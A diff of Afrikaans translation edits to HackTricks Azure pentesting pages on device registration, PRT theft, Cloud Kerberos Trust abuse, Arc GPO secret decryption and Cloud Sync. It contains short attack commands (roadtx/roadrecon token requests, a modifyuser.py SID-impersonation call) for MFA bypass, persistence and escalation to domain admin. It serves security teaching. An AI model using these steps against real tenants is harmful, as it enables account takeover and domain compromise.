Translated ['src/pentesting-cloud/azure-security/az-device-registration.

src/pentesting-cloud/azure-security/az-device-registration.md

@@ -6,9 +6,9 @@
 
 Wanneer 'n toestel by AzureAD aansluit, word 'n nuwe objek in AzureAD geskep.
 
-Wanneer 'n toestel geregistreer word, **word die gebruiker gevra om met sy rekening aan te meld** (met MFA indien nodig), dan versoek dit tokens vir die toestelregistrasiediens en vra dan 'n finale bevestigingsprompt.
+Wanneer 'n toestel geregistreer word, **word die gebruiker gevra om in te log met sy rekening** (wat MFA vra indien nodig), dan versoek dit tokens vir die toestel registrasiediens en vra dan 'n finale bevestigingsprompt.
 
-Dan word twee RSA-sleutelpaar in die toestel gegenereer: Die **toestelsleutel** (**publieke** sleutel) wat na **AzureAD** gestuur word en die **transport** sleutel (**private** sleutel) wat in TPM gestoor word indien moontlik.
+Dan word twee RSA sleutelpare in die toestel gegenereer: Die **toestelsleutel** (**publieke** sleutel) wat na **AzureAD** gestuur word en die **transport** sleutel (**private** sleutel) wat in TPM gestoor word indien moontlik.
 
 Dan word die **objek** in **AzureAD** geskep (nie in Intune nie) en AzureAD gee 'n **sertifikaat** wat deur dit onderteken is, terug aan die toestel. Jy kan nagaan dat die **toestel AzureAD-verbonden** is en inligting oor die **sertifikaat** (soos of dit deur TPM beskerm word).
 ```bash
@@ -30,10 +30,10 @@ Maar dit **beskerm nie** teen **snuffeling** van die fisiese verbinding tussen d
 As jy die volgende bladsy kyk, sal jy sien dat **diefstal van die PRT** gebruik kan word om toegang te verkry soos 'n **gebruiker**, wat wonderlik is omdat die **PRT op toestelle geleë is**, so dit kan van hulle gesteel word (of as dit nie gesteel word, misbruik word om nuwe ondertekeningssleutels te genereer):
 
 {{#ref}}
-az-lateral-movement-cloud-on-prem/pass-the-prt.md
+az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
-## Registrasie van 'n toestel met SSO-token
+## Registrasie van 'n toestel met SSO tokens
 
 Dit sou moontlik wees vir 'n aanvaller om 'n token vir die Microsoft toestelregistrasiediens van die gecompromitteerde toestel aan te vra en dit te registreer:
 ```bash
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-Wat jou 'n **sertifikaat sal gee wat jy kan gebruik om in die toekoms vir PRT's te vra**. Dit hou dus volharding in stand en **omseil MFA** omdat die oorspronklike PRT-token wat gebruik is om die nuwe toestel te registreer **reeds MFA-toestemmings toegeken het**.
+Wat jou 'n **sertifikaat sal gee wat jy kan gebruik om in die toekoms vir PRTs te vra**. Dit hou dus volharding in stand en **omseil MFA** omdat die oorspronklike PRT-token wat gebruik is om die nuwe toestel te registreer **reeds MFA-toestemmings toegeken het**.
 
 > [!TIP]
 > Let daarop dat jy toestemming nodig sal hê om **nuwe toestelle te registreer** om hierdie aanval uit te voer. Ook, die registrasie van 'n toestel beteken nie dat die toestel **toegelaat sal word om in Intune in te skryf** nie.
@@ -57,21 +57,21 @@ Wat jou 'n **sertifikaat sal gee wat jy kan gebruik om in die toekoms vir PRT's
 
 ## Oorskrywing van 'n toestel-tiket
 
-Dit was moontlik om 'n **toestel-tiket aan te vra**, die huidige een van die toestel te **oorskryf**, en tydens die vloei **die PRT te steel** (so geen behoefte om dit van die TPM te steel nie. Vir meer inligting [**kyk na hierdie praatjie**](https://youtu.be/BduCn8cLV1A).
+Dit was moontlik om 'n **toestel-tiket aan te vra**, die huidige een van die toestel te **oorskryf**, en tydens die vloei die **PRT te steel** (so geen behoefte om dit van die TPM te steel nie. Vir meer inligting [**kyk na hierdie praatjie**](https://youtu.be/BduCn8cLV1A).
 
 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
 
 > [!CAUTION]
 > Dit is egter reggestel.
 
-## Oorskryf WHFB-sleutel
+## Oorskrywing van WHFB-sleutel
 
 [**Kyk die oorspronklike skyfies hier**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
 
-Aanval opsomming:
+Aanvalsamevatting:
 
 - Dit is moontlik om die **geregistreerde WHFB** sleutel van 'n **toestel** via SSO te **oorskryf**
-- Dit **verslaan TPM-beskerming** aangesien die sleutel **gesnif word tydens die generasie** van die nuwe sleutel
+- Dit **verslaan TPM-beskerming** aangesien die sleutel **gesniff word tydens die generasie** van die nuwe sleutel
 - Dit bied ook **volharding**
 
 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
@@ -94,7 +94,7 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
 
 <figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
 
-## Verwysings
+## References
 
 - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
 - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md

@@ -1,65 +1,39 @@
 # Az - Laterale Beweging (Cloud - On-Prem)
 
-## Az - Laterale Beweging (Cloud - On-Prem)
-
 {{#include ../../../banners/hacktricks-training.md}}
 
-### On-Prem masjiene wat aan die wolk gekoppel is
+## Basiese Inligting
 
-Daar is verskillende maniere waarop 'n masjien aan die wolk gekoppel kan wees:
+Hierdie afdeling dek die pivoteringstegnieke om van 'n gecompromitteerde Entra ID-huurder na die plaaslike Active Directory (AD) te beweeg of van 'n gecompromitteerde AD na die Entra ID-huurder.
 
-#### Azure AD aangesluit
+## Pivoteringstegnieke
 
-<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
+- [**Arc Kwetsbare GPO Ontplooi Skrip**](az-arc-vulnerable-gpo-deploy-script.md): As 'n aanvaller 'n AD-rekenaarrekening kan beheer of skep en toegang tot die Azure Arc GPO ontplooi deel kan kry, kan hulle die gestoor Service Principal geheim ontsleutel en dit gebruik om by Azure aan te meld as die geassosieerde dienshoof, wat die gekoppelde Azure-omgewing ten volle kompromitteer.
 
-#### Werkplek aangesluit
+- [**Cloud Kerberos Vertroue**](az-cloud-kerberos-trust.md): Hoe om van Entra ID na AD te pivot wanneer Cloud Kerberos Vertroue geconfigureer is. 'n Globale Admin in Entra ID (Azure AD) kan Cloud Kerberos Vertroue en die sink API misbruik om hoë-privilege AD-rekeninge na te doen, hul Kerberos-kaarte of NTLM-hashes te verkry, en plaaslike Active Directory ten volle te kompromitteer—selfs as daardie rekeninge nooit in die wolk gesinkroniseer is—wat effektief 'n brug tussen wolk- en AD-privilege-eskalasie skep.
 
-<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Cloud Sinkronisasie**](az-cloud-sync.md): Hoe om Cloud Sinkronisasie te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
 
-#### Hibrid aangesluit
+- [**Verbind Sinkronisasie**](az-connect-sync.md): Hoe om Verbind Sinkronisasie te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
 
-<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Domein Dienste**](az-domain-services.md): Wat is die Azure Domein Dienste Diens en hoe om van Entra ID na die AD wat dit genereer te pivot.
 
-#### Werkplek aangesluit op AADJ of Hibrid
+- [**Federasie**](az-federation.md): Hoe om Federasie te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
 
-<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Hibriede Verskeidenheid Aanvalle**](az-hybrid-identity-misc-attacks.md): Verskeie aanvalle wat gebruik kan word om van die wolk na plaaslike AD en andersom te pivot.
 
-### Tokens en beperkings <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
+- [**Plaaslike Wolk Kredensiale**](az-local-cloud-credentials.md): Waar om kredensiale vir die wolk te vind wanneer 'n rekenaar gecompromitteer is.
 
-In Azure AD is daar verskillende tipes tokens met spesifieke beperkings:
+- [**Oordra die Sertifikaat**](az-pass-the-certificate.md): Genereer 'n sertifikaat gebaseer op die PRT om van een masjien na 'n ander aan te meld.
 
-- **Toegangstokens**: Gebruik om API's en hulpbronne soos die Microsoft Graph te benader. Hulle is gekoppel aan 'n spesifieke kliënt en hulpbron.
-- **Herlaai tokens**: Uitgereik aan toepassings om nuwe toegangstokens te verkry. Hulle kan slegs deur die toepassing wat hulle ontvang het of 'n groep toepassings gebruik word.
-- **Primêre Herlaai Tokens (PRT)**: Gebruik vir Enkel Teken-In op Azure AD aangeslote, geregistreerde, of hibrid aangeslote toestelle. Hulle kan gebruik word in blaaierteken-in vloei en vir teken-in op mobiele en desktop toepassings op die toestel.
-- **Windows Hello for Business sleutels (WHFB)**: Gebruik vir wagwoordlose verifikasie. Dit word gebruik om Primêre Herlaai Tokens te verkry.
+- [**Oordra die Koekie**](az-pass-the-cookie.md): Steel Azure-koekies uit die blaaier en gebruik dit om aan te meld.
 
-Die mees interessante tipe token is die Primêre Herlaai Token (PRT).
+- [**Primêre Vernuwings Teken/ Oordra die PRT/ Phishing PRT**](az-primary-refresh-token-prt.md): Wat is die PRT, hoe om dit te steel en dit te gebruik om toegang tot Azure-hulpbronne te verkry terwyl die gebruiker nageboot word.
 
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
+- [**PtA - Oorgangsertifisering**](az-pta-pass-through-authentication.md): Hoe om Oorgangsertifisering te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
 
-### Pivoting Tegnieke
+- [**Naadlose SSO**](az-seamless-sso.md): Hoe om Naadlose SSO te misbruik om van plaaslik na die wolk te beweeg.
 
-Van die **gekompromitteerde masjien na die wolk**:
-
-- [**Pass the Cookie**](az-pass-the-cookie.md): Steel Azure koekies van die blaaier en gebruik dit om in te teken
-- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump die geheue van plaaslike prosesse gesinkroniseer met die wolk (soos excel, Teams...) en vind toegangstokens in duidelike teks.
-- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish die PRT om dit te misbruik
-- [**Pass the PRT**](pass-the-prt.md): Steel die toestel PRT om Azure te benader deur dit na te doen.
-- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Genereer 'n sertifikaat gebaseer op die PRT om van een masjien na 'n ander in te teken
-
-Van die kompromitering van **AD** na die kompromitering van die **Wolk** en van die kompromitering van die **Wolk na** die kompromitering van **AD**:
-
-- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
-- **Nog 'n manier om van die wolk na On-Prem te pivot is** [**misbruik van Intune**](../az-services/intune.md)
-
-#### [Roadtx](https://github.com/dirkjanm/ROADtools)
-
-Hierdie hulpmiddel stel jou in staat om verskeie aksies uit te voer, soos om 'n masjien in Azure AD te registreer om 'n PRT te verkry, en PRT's (legitiem of gesteel) te gebruik om hulpbronne op verskillende maniere te benader. Dit is nie direkte aanvalle nie, maar dit fasiliteer die gebruik van PRT's om hulpbronne op verskillende maniere te benader. Vind meer inligting in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
-
-## Verwysings
-
-- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+- **Nog 'n manier om van die wolk na On-Prem te pivot is** [**om Intune te misbruik**](../az-services/intune.md)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md

@@ -4,16 +4,16 @@
 
 ### Identifisering van die Probleme
 
-Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit aan wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
+Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit aan wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
 
-Wanneer dit uitgevoer word, voer die DeployGPO.ps1 skrip die volgende aksies uit:
+Wanneer uitgevoer, voer die DeployGPO.ps1 skrip die volgende aksies uit:
 
 1. Skep die Azure Arc Servers Aanmeld GPO binne die plaaslike domein.
-2. Kopieer die EnableAzureArc.ps1 aanmeldskrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.
+2. Kopieer die EnableAzureArc.ps1 aanmeld skrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.
 
 Wanneer hierdie skrip uitgevoer word, moet stelselsadmins twee hoofparameters verskaf: **ServicePrincipalId** en **ServicePrincipalClientSecret**. Daarbenewens vereis dit ander parameters soos die domein, die FQDN van die bediener wat die deel huisves, en die deelnaam. Verdere besonderhede soos die tenant ID, hulpbron groep, en ander nodige inligting moet ook aan die skrip verskaf word.
 
-'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 aan te roep met $descriptor en $ServicePrincipalSecret as invoer. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar.
+'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 aan te roep met $descriptor en $ServicePrincipalSecret as insette. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkrip kan word, soos opgemerk in die skrip kommentaar.
 ```bash
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -54,7 +54,7 @@ $ebs
 ```
 Alternatiewelik kan ons [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) gebruik.
 
-Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel as die encryptedServicePrincipalSecret-lêer gestoor is. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te autentiseer.
+Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel gestoor is as die encryptedServicePrincipalSecret-lêer. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te autentiseer.
 
 ## References
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md

@@ -4,43 +4,43 @@
 
 **Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook bespreek in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
 
-## Kerberos Trust Relationship Oorsig
+## Kerberos Trust Relationship Overview
 
-**Cloud Kerberos Trust (Entra ID -> AD)** -- Hierdie funksie (deel van Windows Hello for Business) stel 'n eenrigting vertroue in waar on-prem AD **vertrou Entra ID** om Kerberos kaartjies vir AD uit te reik. Dit aktiveer die skep van 'n **AzureADKerberos$** rekenaarobjek in AD (wat verskyn as 'n Lees-Alleen Domeinbeheerder) en 'n gekoppelde **`krbtgt_AzureAD`** rekening (n sekondêre KRBTGT). Entra ID hou die sleutels vir hierdie rekeninge en kan "gedeeltelike" Kerberos TGTs vir AD gebruikers uitreik. AD domeinbeheerder sal hierdie kaartjies eer, maar met RODC-agtige beperkings: per standaard, **hoë-privilege groepe (Domein Administrators, Enterprise Administrators, ens.) is *weggesluit*** en gewone gebruikers word toegelaat. Dit verhoed dat Entra ID domein administrateurs onder normale omstandighede via die vertroue kan verifieer. Maar soos ons sal sien, kan 'n aanvaller met voldoende Entra ID voorregte hierdie vertrou ontwerp misbruik.
+**Cloud Kerberos Trust (Entra ID -> AD)** -- Hierdie funksie (deel van Windows Hello for Business) stel 'n eenrigting vertroue in waar on-prem AD **Entra ID** vertrou om Kerberos kaartjies vir AD uit te reik. Om dit in te skakel, skep dit 'n **AzureADKerberos$** rekenaarobjek in AD (wat verskyn as 'n Lees-Alleen Domeinbeheerder) en 'n gekoppelde **`krbtgt_AzureAD`** rekening (n sekondêre KRBTGT). Entra ID hou die sleutels vir hierdie rekeninge en kan "gedeeltelike" Kerberos TGT's vir AD gebruikers uitreik. AD domeinbeheerder sal hierdie kaartjies eer, maar met RODC-agtige beperkings: per standaard, **hoë-privilege groepe (Domein Administrators, Enterprise Administrators, ens.) is *weggesluit*** en gewone gebruikers word toegelaat. Dit voorkom dat Entra ID domein administrateurs onder normale omstandighede via die vertroue kan autentiseer. Maar soos ons sal sien, kan 'n aanvaller met voldoende Entra ID voorregte hierdie vertrou ontwerp misbruik.
 
-## Pivoting van Entra ID na On-Prem AD
+## Pivoting from Entra ID to On-Prem AD
 
-**Scenario:** Die teikenorganisasie het **Cloud Kerberos Trust** geaktiveer vir wagwoordlose verifikasie. 'n Aanvaller het **Global Administrator** voorregte in Entra ID (Azure AD) verkry, maar het **nog nie** die on-prem AD onder beheer nie. Die aanvaller het ook 'n voet aan die grond met netwerktoegang tot 'n Domeinbeheerder (via VPN of 'n Azure VM in 'n hibriede netwerk). Deur die wolkvertroue te gebruik, kan die aanvaller Azure AD beheer benut om 'n **Domein Admin**-vlak voet aan die grond in AD te verkry.
+**Scenario:** Die teikenorganisasie het **Cloud Kerberos Trust** geaktiveer vir wagwoordlose autentisering. 'n Aanvaller het **Global Administrator** voorregte in Entra ID (Azure AD) verkry, maar het **nog nie** die on-prem AD onder beheer nie. Die aanvaller het ook 'n voet aan die grond met netwerktoegang tot 'n Domeinbeheerder (via VPN of 'n Azure VM in 'n hibriede netwerk). Deur die wolkvertroue te gebruik, kan die aanvaller Azure AD beheer benut om 'n **Domein Admin**-vlak voet aan die grond in AD te verkry.
 
 **Vereistes:**
 
 -   **Cloud Kerberos Trust** is geconfigureer in die hibriede omgewing (aanwyser: 'n `AzureADKerberos$` RODC rekening bestaan in AD).
 
--   Die aanvaller het **Global Admin (of Hybrid Identity Admin)** regte in die Entra ID tenant (hierdie rolle kan die AD Connect **synchronisasie API** gebruik om Azure AD gebruikers te wysig).
+-   Die aanvaller het **Global Admin (of Hybrid Identity Admin)** regte in die Entra ID tenant (hierdie rolle kan die AD Connect **synchronization API** gebruik om Azure AD gebruikers te wysig).
 
--   Ten minste een **hibriede gebruikersrekening** (bestaande in beide AD en AAD) wat die aanvaller as kan verifieer. Dit kan verkry word deur die akte te ken of te reset of 'n wagwoordlose metode toe te ken (bv. 'n Tydelike Toegangspas) om 'n Primêre Vernuwings Token (PRT) vir dit te genereer.
+-   Ten minste een **hibriede gebruikersrekening** (bestaande in beide AD en AAD) wat die aanvaller kan autentiseer as. Dit kan verkry word deur die kredensiale te ken of te herstel of 'n wagwoordlose metode (bv. 'n Tydelike Toegangspas) toe te ken om 'n Primêre Vernuwings Token (PRT) vir dit te genereer.
 
--   'n **on-prem AD teikenrekening** met hoë voorregte wat *nie* in die standaard RODC "weier" beleid is nie. In praktyk is 'n goeie teiken die **AD Connect sink rekening** (dikwels genoem **MSOL_***), wat DCSync (replicasie) regte in AD het, maar gewoonlik nie 'n lid van ingeboude administratorgroepe is nie. Hierdie rekening word tipies nie gesinkroniseer na Entra ID nie, wat sy SID beskikbaar maak om te verpersoonlik sonder konflik.
+-   'n **on-prem AD teikenrekening** met hoë voorregte wat *nie* in die standaard RODC "weier" beleid is nie. In praktyk is 'n goeie teiken die **AD Connect sync rekening** (dikwels genoem **MSOL_***), wat DCSync (replicasie) regte in AD het, maar gewoonlik nie 'n lid van ingeboude administratiewe groepe is nie. Hierdie rekening word tipies nie gesinkroniseer na Entra ID nie, wat sy SID beskikbaar maak om te verteenwoordig sonder konflik.
 
 **Aanvalstappe:**
 
-1.  **Verkry Azure AD sink API Toegang:** Gebruik die Global Admin rekening, verkry 'n toegangstoken vir die Azure AD **Provisioning (sink) API**. Dit kan gedoen word met gereedskap soos **ROADtools** of **AADInternals**. Byvoorbeeld, met ROADtools (roadtx):
+1.  **Verkry Azure AD sync API Toegang:** Gebruik die Global Admin rekening, verkry 'n toegangstoken vir die Azure AD **Provisioning (sync) API**. Dit kan gedoen word met gereedskap soos **ROADtools** of **AADInternals**. Byvoorbeeld, met ROADtools (roadtx):
 ```bash
 # Using roadtx to get an Azure AD Graph token (no MFA)
 roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
 ```
 *(Alternatiewelik kan AADInternals se `Connect-AADInt` gebruik word om as Global Admin te autentiseer.)*
 
-2.  **Wysig 'n Hibrid Gebruiker se On-Prem Kenmerke:** Maak gebruik van die Azure AD **synchronisasie API** om 'n gekose hibrid gebruiker se **onPremises Security Identifier (SID)** en **onPremises SAMAccountName** in te stel om met die teiken AD rekening te ooreen te stem. Dit vertel effektief aan Azure AD dat die wolk gebruiker ooreenstem met die on-prem rekening wat ons wil naboots. Gebruik die open-source **ROADtools Hybrid** toolkit:
+2.  **Wysig 'n Hibrid Gebruiker se On-Prem Kenmerke:** Maak gebruik van die Azure AD **synchronisasie API** om 'n gekose hibrid gebruiker se **onPremises Security Identifier (SID)** en **onPremises SAMAccountName** in te stel om met die teiken AD rekening te ooreen te kom. Dit vertel effektief aan Azure AD dat die wolk gebruiker ooreenstem met die on-prem rekening wat ons wil naboots. Gebruik die open-source **ROADtools Hybrid** toolkit:
 ```bash
 # Example: modify a hybrid user to impersonate the MSOL account
 python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
 --sourceanchor <ImmutableID_of_User>\
 --sid <TargetAD_SID> --sam <TargetAD_SAMName>
 ```
-> Die `sourceAnchor` (onveranderlike ID) van die gebruiker is nodig om die Azure AD objek te identifiseer wat gewysig moet word. Die hulpmiddel stel die hybride gebruiker se on-prem SID en SAM rekeningnaam in op die waardes van die teiken (bv. die MSOL_xxxx rekening se SID en SAM). Azure AD verbied normaalweg die verandering van hierdie eienskappe via Graph (hulle is slegs leesbaar), maar die sink diens API laat dit toe en Global Admins kan hierdie sink funksionaliteit aanroep.
+> Die `sourceAnchor` (onveranderlike ID) van die gebruiker is nodig om die Azure AD objek te identifiseer wat gewysig moet word. Die hulpmiddel stel die hybride gebruiker se on-prem SID en SAM rekeningnaam in op die waardes van die teiken (bv. die MSOL_xxxx rekening se SID en SAM). Azure AD verbied normaalweg om hierdie eienskappe via Graph te verander (hulle is slegs leesbaar), maar die sink diens API laat dit toe en Global Admins kan hierdie sink funksionaliteit aanroep.
 
-3.  **Verkry 'n Deeltjie TGT van Azure AD:** Na die wysiging, autentiseer as die hybride gebruiker by Azure AD (byvoorbeeld, deur 'n PRT op 'n toestel te verkry of hul akrediteer te gebruik). Wanneer die gebruiker aanmeld (veral op 'n domein-verbonden of Entra-verbonden Windows toestel), sal Azure AD 'n **deeltjie Kerberos TGT (TGT**<sub>**AD**</sub>) vir daardie rekening uitreik omdat Cloud Kerberos Trust geaktiveer is. Hierdie deeltjie TGT is versleuteld met die AzureADKerberos$ RODC sleutel en sluit die **teiken SID** in wat ons gestel het. Ons kan dit simuleer deur 'n PRT vir die gebruiker aan te vra via ROADtools:
+3.  **Verkry 'n Gedeeltelike TGT van Azure AD:** Na die wysiging, autentiseer as die hybride gebruiker by Azure AD (byvoorbeeld, deur 'n PRT op 'n toestel te verkry of hul akrediteerlinge te gebruik). Wanneer die gebruiker aanmeld (veral op 'n domein-verbonden of Entra-verbonden Windows toestel), sal Azure AD 'n **gedeeltelike Kerberos TGT (TGT**<sub>**AD**</sub>) vir daardie rekening uitreik omdat Cloud Kerberos Trust geaktiveer is. Hierdie gedeeltelike TGT is versleuteld met die AzureADKerberos$ RODC sleutel en sluit die **teiken SID** in wat ons gestel het. Ons kan dit simuleer deur 'n PRT vir die gebruiker aan te vra via ROADtools:
 ```bash
 roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md

@@ -2,20 +2,21 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+
+## Basiese Inligting
 
 **Cloud Sync** is basies die nuwe manier van Azure om **gebruikers van AD in Entra ID te sinkroniseer**.
 
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is 'n nuwe aanbod van Microsoft wat ontwerp is om aan jou hibriede identiteit doelwitte vir die sinkronisering van gebruikers, groepe en kontakte na Microsoft Entra ID te voldoen. Dit bereik dit deur die Microsoft Entra wolk voorsieningsagent te gebruik in plaas van die Microsoft Entra Connect toepassing. Dit kan egter saam met Microsoft Entra Connect Sync gebruik word.
+[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is 'n nuwe aanbod van Microsoft wat ontwerp is om aan jou hibriede identiteit doelwitte vir die sinkronisering van gebruikers, groepe en kontakte na Microsoft Entra ID te voldoen. Dit bereik dit deur die Microsoft Entra wolk voorsieningsagent te gebruik in plaas van die Microsoft Entra Connect toepassing. Dit kan egter saam met Microsoft Entra Connect Sync gebruik word.
 
-### Principals Generated
+### Principals Gegenereer
 
-In orde vir dit te werk, word 'n paar principals in beide Entra ID en die On-Premise direkte geskep:
+Om dit te laat werk, word 'n paar principals in beide Entra ID en die On-Premise direkte geskep:
 
 - In Entra ID word die gebruiker `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) geskep met die rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
 
 > [!WARNING]
-> Hierdie rol het voorheen baie bevoorregte toestemmings gehad en dit kon gebruik word om [**bevoegdhede selfs tot globale admin te eskaleer**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Microsoft het egter besluit om al die bevoegdhede van hierdie rol te verwyder en dit net 'n nuwe een **`microsoft.directory/onPremisesSynchronization/standard/read`** toe te ken wat nie regtig toelaat om enige bevoorregte aksie uit te voer nie (soos om die wagwoord of eienskappe van 'n gebruiker te verander of 'n nuwe geloofsbrief aan 'n SP toe te voeg).
+> Hierdie rol het voorheen baie bevoorregte toestemmings gehad en dit kon gebruik word om [**bevoegdhede selfs tot globale admin te eskaleer**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). egter, Microsoft het besluit om al die bevoegdhede van hierdie rol te verwyder en dit net 'n nuwe een **`microsoft.directory/onPremisesSynchronization/standard/read`** toe te ken wat nie regtig enige bevoorregte aksie toelaat nie (soos om die wagwoord of eienskappe van 'n gebruiker te verander of 'n nuwe geloofsbrief aan 'n SP toe te voeg).
 
 - In Entra ID word ook die groep **`AAD DC Administrators`** geskep sonder lede of eienaars. Hierdie groep is nuttig as [`Microsoft Entra Domain Services`](./az-domain-services.md) gebruik word.
 
@@ -25,9 +26,9 @@ In orde vir dit te werk, word 'n paar principals in beide Entra ID en die On-Pre
 > Onder ander toestemmings het die Diensrekening **`provAgentgMSA`** DCSync-toestemmings, wat **enigeen wat dit kompromitteer in staat stel om die hele direkte te kompromitteer**. Vir meer inligting oor [DCSync kyk hierna](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
 
 > [!NOTE]
